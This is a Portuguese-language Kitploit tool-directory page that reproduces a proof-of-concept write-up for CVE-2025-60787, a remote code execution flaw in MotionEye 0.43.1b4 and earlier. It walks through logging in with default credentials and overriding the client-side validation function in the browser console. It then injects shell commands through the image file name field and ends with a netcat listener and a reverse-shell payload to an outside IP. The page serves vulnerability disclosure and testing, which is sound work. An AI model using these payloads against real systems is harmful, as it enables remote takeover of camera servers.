Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

FeedsContatoPrivacidade© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2025-60787 — Prova de conceito para CVE-2025-60787, demonstrando execução remota de código no MotionEye <= 0.43.1b4 por meio de bypass de validação no lado do cliente e injeção de comandos no nome do arquivo de imagem. | Kitploit
Ferramentas/GitHubGitHub/prabhatverma47/cve-2025-60787
Análise de VulnerabilidadesAnálise de CódigoExploraçãoExploração de Aplicações WebTestes de PenetraçãoRed Teaming
GitHubprabhatverma47/cve-2025-60787

CVE-2025-60787

Prova de conceito para CVE-2025-60787, demonstrando execução remota de código no MotionEye <= 0.43.1b4 por meio de bypass de validação no lado do cliente e injeção de comandos no nome do arquivo de imagem.

Ver Repositório
16há 1 anoAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2025-60787

CVE-2025-60787 Poc - RCE - MotionEye <= 0.43.1b4
Link original: https://github.com/prabhatverma47/motionEye-RCE-through-config-parameter

MotionEye RCE via Bypass de Validação no Lado do Cliente

Resumo

Durante testes de segurança em uma instância MotionEye executando em Docker, foi observado que a validação no lado do cliente dentro da interface web pode ser contornada. Isso permite que entrada arbitrária seja enviada, incluindo payloads que podem acionar execução no contêiner host. O problema representa um risco de execução remota de código (RCE) se explorado.

Versões Afetadas: Todas as versões até e incluindo 0.43.1b4
Status do Patch: Nenhum patch disponível ainda. Uma solução alternativa é fornecida neste aviso.
Referência do projeto: https://github.com/motioneye-project/motioneye
CWE: CWE-20, CWE-78, CWE-116
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
CVSS: 7.2/10


Ambiente

  • Alvo: MotionEye executando em Docker
  • Imagem: ghcr.io/motioneye-project/motioneye:edge
  • Porta Exposta: 9999 mapeada para a porta 8765 do contêiner
  • Credenciais de Teste: admin / senha em branco (padrão)

Passos para Reproduzir

1. Configuração do Contêiner

Execute o seguinte comando para iniciar o download da imagem Docker e iniciar o contêiner

docker run -d --name motioneye -p 9999:8765 ghcr.io/motioneye-project/motioneye:edge
image

2. Verificação da Versão

docker logs motioneye | grep "motionEye server"

Resultado: Servidor MotionEye 0.43.1b4 image

3. Acesso ao Sistema de Arquivos

Uma vez que o contêiner Docker esteja em execução, o shell do contêiner pode ser acessado usando os seguintes comandos

docker exec -it motioneye /bin/bash
ls -la /tmp
image

4. Acesso Inicial

Acesse a interface web em:
http://127.0.0.1:9999
Login: admin (senha em branco)

5. Configuração da Câmera

Adicionada câmera de rede RTSP de exemplo.
image

6. Tentativa de Injeção

Um comando de execução malicioso foi inserido no campo "Still Images" > "Image File Name", mas um erro de validação no lado do cliente foi encontrado.

$(touch /tmp/test).%Y-%m-%d-%H-%M-%S

Bloqueado pela validação no lado do cliente.
image

image

7. Descoberta da Validação no Lado do Cliente

O seguinte script é responsável pela validação: /static/js/main.js?v=0.43.1b4, que referencia /static/js/ui.js?v=0.43.1b4 para implementar as condições de validação.

Arquivo: /static/js/main.js?v=0.43.1b4 referenciando /static/js/ui.js?v=0.43.1b4

function configUiValid() {
    $('div.settings').find('.validator').each(function () { this.validate(); });
    var valid = true;
    $('div.settings input, select').each(function () {
        if (this.invalid) { valid = false; return false; }
    });
    return valid;
}

8. Técnica de Bypass

Ao sobrescrever a função configUiValid no console do navegador, todas as verificações de validação podem ser contornadas: Insira o trecho abaixo no console do navegador (F12 ou Ctrl+Shift+I)

configUiValid = function() { 
    return true; 
};
image

9. Execução do Payload

Agora o payload pode ser inserido diretamente sem qualquer validação: configure como abaixo e aplique as configurações

Configurações:

  • Modo de captura = Interval Snapshots
  • Intervalo = 10
  • Image File Name:
$(touch /tmp/test).%Y-%m-%d-%H-%M-%S
image

Aplicado → Arquivo criado com permissões de root.

image

Impacto: Transformando RCE em Arma

produção de reverse shell simples:

Listener:

nc -lvnp 4444
image

Payload Injetado:

$(python3 -c "import os;os.system('bash -c \"bash -i >& /dev/tcp/192.168.0.108/4444 0>&1\"')").%Y-%m-%d-%H-%M-%S
image

Resultado: Shell remoto obtido.


Causa Raiz e Fluxo

MotionEye é vulnerável porque recebe entrada do usuário do painel web e a escreve diretamente nos arquivos de configuração do Motion sem verificar caracteres perigosos. Por exemplo, o campo image_file_name na interface é enviado ao backend (config.py) e salvo em /etc/motioneye/camera-.conf. Quando o MotionEye reinicia o serviço Motion (motionctl.start), o processo Motion lê este arquivo de configuração. Se o campo picture_filename contiver sintaxe de shell como $(touch /tmp/test), o Motion o executará como um comando real em vez de tratá-lo como parte do nome do arquivo.

Entrada não sanitizada escrita nos arquivos de configuração do Motion:
Dashboard JS → ConfigHandler.set_config() → camera-1.conf → motionctl.restart() → motion analisa picture_filename → executa payload


Prevenção

Baixar ferramenta